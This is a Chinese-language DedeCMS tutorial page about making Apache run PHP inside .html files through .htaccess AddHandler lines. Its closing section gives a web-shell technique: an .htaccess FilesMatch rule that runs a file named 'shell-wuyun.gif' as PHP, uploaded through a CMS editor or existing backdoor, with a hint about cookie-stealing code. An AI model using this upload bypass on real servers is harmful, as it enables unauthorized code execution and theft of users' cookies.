建站学习网,专业提供各类建站教程,网页素材,SEO资讯等建站资源!

网站模板_网站源码_网站素材_建站教程_建站学习网

当前位置:建站学习网 > 织梦教程 > 二次开发 >

让织梦dedecms静态页面嵌入php代码也能成功执行

更新时间:2016-08-16整理编辑:建站学习网阅读:0
  这种方法也是最近看apache的conf才发现的,说是小bug,感觉又不是,只是容易被人利用。我们最近在做织梦站群系统: 遇到一个难题,就是页面随机重组文章后,必须实时生成,想了下如果每次都生成,而文章量又非常多,那么真是麻烦死了,于是用到这个方法。

  支持环境:apache(其他的ngnix自己可以扩展思路)
  文件:.htacess文件
  情节:正常情况HTML页面中运行php代码的基本方法是将.html和.htm修改成.php。如果你已经有许多包含PHP代码的HTML的页面,同时还不想逐个修改它们扩展名。你可以在htaccess文件中配置一下,让所有的页面都当作PHP文件解释。
  方法如下
  打开文本编辑器,windows上的笔记本,Linux上的vi编辑器,在htaccess文件中添加如下行。
  AddHandler x-mapp-php5 .html .htm
  如果你想使用PHP 5.4而不是PHP 5.2,你可以添加下面的这一行。
  AddHandler x-mapp-php6 .html .htm
  这样就会指定所有扩展名为.html和.htm的文件都会经过PHP解释执行。根据需要添加上面的代码后,将文件保存即可。

  腹黑扩展:

  利用.:htaccess文件来执行php脚本达到图像文件以php执行,比如可以将cookiee suffering相关代码写入php文件,再把图片嵌入到一个页面当中。

  利用步骤:

  1.创建一个htaccess文件:

  代码内容:(加入红色部分即可,其余可以不要复制)
  <VirtualHost *:80>
  DocumentRoot /www/web/bd
  ServerName baidu.com
  RewriteEngine on
  RewriteRule ^(.*)$ http://www.baidu.com$1 [R=301,L]
  </VirtualHost>
  <FilesMatch “-wuyun.gif“>
  SetHandler application/x-httpd-php
  </FilesMatch>

  <Directory /www/web/jcrs055>
  Options FollowSymLinks
  AllowOverride All
  Order allow,deny
  Allow from all
  </Directory>

  2.从后台编辑器或后门中上传htaccess文件.

  3.上传shell-wuyun.gif

  4.上传后,如果访问这个图片会以php文件执行。

本文网址:https://www.dedexuexi.com/dedejiaocheng/eckf/1035.html

本站部分文章搜集与网络,如有侵权请联系本站,转载请说明出处。

收藏此文 赞一下!() 打赏本站

如本文对您有帮助,就请建站学习网抽根烟吧!

支付宝打赏
微信打赏
织梦dedecms一键更新html加入更新单页文档的功能
« 上一篇2016年08月16日
织梦MYSQL数据库批量快速修改表前缀与表名
2016年08月16日下一篇 »
  • 织梦DedeCMS列表页第一页跟其它页使用不同模板的办法
    0阅读
    有时候我们需要让织梦列表页的第一页跟第二页以及后面的页面的展示效果不同,使用不同的模板,但是目前网上也没有其他比较好的方案,那么下面织梦学习网就给大家介绍一个最简单的办法
  • 织梦dedecms自定义表单导出到excel
    0阅读
    导出效果 不写死任何字段,不写死任何东西,修改2个文件,让织梦自定义表单自由导出到Excel表格里。 教程开始 1、\ dede\templets\diy_main.htm 找到前台预览在它的下面加入一行 a href=diy_list.php?action=exceldiyid={dede:fie...
  • 织梦dedecms后台自定义表单添加搜索功能
    0阅读
    自定义表单搜索效果 当你的自定义表单数据过多或者需要查询某个单时,给后台的自定义表单加个简单的搜索功能很有必要。 1、打开 \dede\templets\diy_main.htm 找到 内容列表/div 在它的下面加入 div class=bodytitletxt style=padding-lef...
  • 织梦dedecms地区联动在当前页面title加入选择的地区名
    0阅读
    织梦分类信息模型在列表页选择地区联动时,想要在title北京市东城区学院 - 我的网站/title 或者 title广东省广州市白云区学院_我的网站/title 效果展示 打开 \include\arc.sglistview.class.php 找到 $this-Fields[typeid] = $...
  • 织梦CMS中添加一个函数来实现任意字段的调用
    0阅读
    我们在使用织梦建站的时候,很多情况下,因为Dede底层模版的限制,我们在文章页、列表页和频道页面中想要调用一些相关的字段会有所限制,所以就想写一个函数来实现在任意页面对任意字
 
QQ在线咨询